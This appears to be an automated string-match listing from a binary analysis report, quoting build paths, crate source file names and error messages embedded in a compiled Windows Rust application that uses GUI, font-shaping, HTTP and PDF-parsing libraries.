"{(/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\net\parser.rs" Heuristic match: "{ .. }, .. }../gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\num\imp\dec2flt\decimal_seq.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\num\imp\diy_float.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\num\imp\bignum.rs" Heuristic match: "assertion failed: digits < 40/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\wtf8.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\slice\memchr.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\unicode\printable.rs" Heuristic match: "wuser-provided comparison function does not correctly implement a total order/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\slice\sort\shared\smallsort.rs" Heuristic match: "assertion failed: d.mant > 0/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\num\imp\flt2dec\strategy\grisu.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\num\imp\flt2dec\strategy\dragon.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\net\ip_addr.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\net\socket_addr.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\net\display_buffer.rs" Heuristic match: "9qc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crc32fast-1.5.0\src\baseline.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crc32fast-1.5.0\src\specialized\pclmulqdq.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-epoch-0.9.18\src\sync\once_lock.rs" Heuristic match: "unaligned pointerc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-epoch-0.9.18\src\atomic.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\crossbeam-epoch-0.9.18\src\sync\list.rs" Heuristic match: "valid numbervalid integervalid real numbervalid hex digithex digit after '#' in namesecond hex digit after '#' in namearray for rectanglenumber in rectangle arraycatalog dictionary/pages reference in catalogpage tree node dictionary/kids array in /pages no" Heuristic match: ".\parsers\parser2\src\font.rs" Heuristic match: ">> or other tokenvalid token.\parsers\parser2\src\lexer.rs" Heuristic match: "4-element rectangle arraymediaboxresourcestypepagecontentskids.\parsers\parser2\src\xref.rs" Heuristic match: "flatedecodefldctdecodedctasciihexdecodeahxascii85decodea85.\parsers\parser2\src\stream.rs" Heuristic match: "hex digit.\parsers\parser2\src\objects.rs" Heuristic match: "integer generation numberinteger object numberid.\parsers\parser2\src\operators.rs" Heuristic match: "id keyword in inline image']' closing arraybic:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\encoding_rs-0.8.35\src\handles.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\encoding_rs-0.8.35\src\iso_2022_jp.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\encoding_rs-0.8.35\src\utf_8.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\encoding_rs-0.8.35\src\gb18030.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\encoding_rs-0.8.35\src\data.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\fdeflate-0.3.7\src\huffman.rs" Heuristic match: "no collectionc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\foldhash-0.2.0\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\fontique-0.8.0\src\font.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\fontique-0.8.0\src\backend\dwrite.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\fontique-0.8.0\src\matching.rs" Heuristic match: "invalidlanguageinvalidscriptinvalidregioninvalidsubtagsend failed because receiver is gonesend failed because channel is fullc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\futures-core-0.3.32\src\task\__internal\atomic_waker.rs" Heuristic match: "buffer too smallc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\gif-0.14.2\src\reader\decoder.rs" Heuristic match: "bad stateodd-sized bufferc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\gif-0.14.2\src\reader\converter.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\frame\head.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\hpack\decoder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\hpack\encoder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\indexmap-2.14.0\src\map.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\frame\headers.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\buf\buf_mut.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\indexmap-2.14.0\src\inner.rs" Heuristic match: "not a result of an errorunspecific protocol error detectedunexpected internal error encounteredflow-control protocol violatedsettings ack not received in timely mannerreceived frame when stream half-closedframe with invalid sizerefused stream before proces" Heuristic match: "assertion failed: default_max_frame_size <= val && val <= max_max_frame_sizec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\frame\settings.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\frame\stream_id.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\hpack\table.rs" Heuristic match: "assertion failed: !id.is_zero()c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\peer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\buf\uninit_slice.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\streams\flow_control.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\streams\state.rs" Heuristic match: "assertion failed: stream.is_countedc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\streams\counts.rs" Heuristic match: "invalid initial receive windowc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\proto\streams\stream.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\h2-0.4.14\src\hpack\header.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\indexmap-2.14.0\src\inner\entry.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\bytes-1.11.1\src\buf\limit.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shape_plan.rs" Heuristic match: "invalid segment in format 4 aat lookup tablec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\aat.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_layout_gsubgpos.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\kerning.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot\contextual.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\aat\layout_kerx_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\aat\layout_morx_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot\gsub\ligature.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_map.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\face.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\unicode.rs" Heuristic match: "internal error: entered unreachable rode: invalid once state/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\std\src\sys\sync\once\futex.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shape.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\aat\layout_common.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_khmer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_indic.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\aat\map.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_use.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_thai.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_arabic.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_hangul.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_hebrew.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shape_fallback.rs" Heuristic match: "rphfprefblwfpstfpresabvsblwspstsc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_myanmar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shape_normalize.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_use_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\unicode_emoji_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_layout_gpos_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_indic_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_use_machine.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_arabic_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_indic_machine.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_khmer_machine.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_myanmar_machine.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_shaper_vowel_constraints.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\tag.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot_layout.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\tag_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\aat\layout_trak_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ucd_table.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot\gpos\mark.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot\gpos\cursive.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\ot\gpos\pair.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hashbrown-0.17.1\src\raw.rs" Heuristic match: "/rust/deps\hashbrown-0.17.0\src\raw.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\uri\authority.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\method.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\uri\path.rs" Pattern match: "http://https://invalid" Heuristic match: "http/0.9http/2.0http/3.0c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\version.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\httparse-1.10.1\src\lib.rs" Heuristic match: "invalid header nameinvalid header valueinvalid new lineinvalid response statusinvalid tokentoo many headersinvalid http versionc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\httparse-1.10.1\src\simd\swar.rs" Heuristic match: "namevaluec:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\error.rs" Heuristic match: "just sent okc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\body\incoming.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\proto\h2\ping.rs" Heuristic match: "you must supply a timer.c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\common\time.rs" Heuristic match: "chunkedinternal error: entered unreachable rode: bodylength::unknown would set chunkedc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\proto\h1\role.rs" Heuristic match: "original header value plus ascii is validc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\headers.rs" Heuristic match: "partial headerc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-1.9.0\src\proto\h2\upgrade.rs" Heuristic match: "https required but uri was not httpsc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\windows-registry-0.6.1\src\key.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\encode.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\base64-0.22.1\src\write\encoder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\http-1.4.0\src\uri\scheme.rs" Heuristic match: "socks4socks4asocks5socks5hc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\hyper-util-0.1.20\src\client\proxy\matcher.rs" Heuristic match: "[internal exception] blocking task ran twice.c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\tokio-1.52.3\src\runtime\blocking\task.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-backend-winit-1.16.1\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-backend-winit-1.16.1\renderer\sw.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-backend-winit-1.16.1\winitwindowadapter.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-backend-winit-1.16.1\muda.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-backend-winit-1.16.1\event_loop.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-backend-winit-1.16.1\frame_throttle.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\builder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\lru_cache.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\fontique-0.8.0\src\fallback.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\cell\once.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\read-fonts-0.37.0\src\tables\fvar.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\item_rendering.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lyon_extra-1.1.0\src\parser.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\properties\change_tracker.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\layout\data.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\graphics\image.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\items\input_items.rs" Heuristic match: "warning: found a dropped keybinding!internal error: must call `begin` before setting properties on a `rangedstylebuilder`.c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\resolve\range.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lyon_geom-1.0.19\src\arc.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\layout\alignment.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\timers.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\unicode-linebreak-0.1.5\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\layout.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\graphics\rendering_metrics_collector.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\items\text.rs" Heuristic match: "slint_slow_animationsc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\animations.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\api.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\platform.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\graphics\path.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\num\f32.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\string.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\model\model_peer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\layout\run.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\layout\cluster.rs" Heuristic match: "assertion failed: initial_velocity <= 0.c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\animations\physics_simulation.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\graphics\brush.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\input.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\harfrust-0.5.2\src\hb\buffer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\items\flickable.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\unicode-segmentation-1.13.2\src\word.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\items\flickable\data_ringbuffer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\lyon_path-1.0.19\src\path.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\fixed.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\swash-0.2.7\src\cache.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\euclid-0.22.14\src\length.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\partial_renderer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\euclid-0.22.14\src\size.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\euclid-0.22.14\src\point.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\textlayout.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\euclid-0.22.14\src\vector.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\sharedvector.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\draw_functions.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\path.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\textlayout\sharedparley.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\clru-0.6.3\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\textlayout\shaping.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\window.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\fonts\pixelfont.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\fonts.rs" Heuristic match: "fatal: swash is unable to parse truetype fontc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\fonts\systemfonts.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\scene.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\parley-0.8.0\src\layout\line.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\fonts\vectorfont.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\clru-0.6.3\src\list.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-renderer-software-1.16.1\target_pixel_buffer.rs" Heuristic match: "/gustc/52b6e2c208b73276ccb36ec0b68456913a801c96/library\core\src\cell.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\integer-sqrt-0.1.5\src\lib.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\i-slint-core-1.16.1\textlayout\glyphclusters.rs" Heuristic match: "zyyyzinharabarmnbengbopochercoptcyrldsrtdevaethigeorgothgrekgujrguruhanihanghebrhirakndakanakhmrlaoolatnmlymmongmymrogamitaloryarunrsinhsyrctamlteluthaathaitibtcansyiiitglghanobuhdtagbbraicprtlimblinbosmashawtaleugarhrktbugiglagkharsylotalutfngxpeobalibatk" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\idna-1.1.0\src\uts46.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\idna-1.1.0\src\punycode.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\icu_normalizer-2.2.0\src\lib.rs" Heuristic match: "assertion failed: code_point < self.header.high_start && self.header.high_start > small_limitc:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\icu_collections-2.2.0\src\codepointtrie\cptrie.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-0.25.10\src\metadata\cicp.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-0.25.10\src\images\buffer.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-0.25.10\src\color.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-0.25.10\src\io\image_reader_type.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-0.25.10\src\codecs\png.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-0.25.10\src\codecs\jpeg\decoder.rs" Heuristic match: "c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\zune-core-0.5.1\src\bytestream\reader\no_std_readers.rs" Heuristic match: "[c:\users\runneradmin\.cargo\registry\src\index.crates.io-1949cf8c6b5b557f\image-webp-0.2.4\src\lossless_transform.rs" Heuristic match: 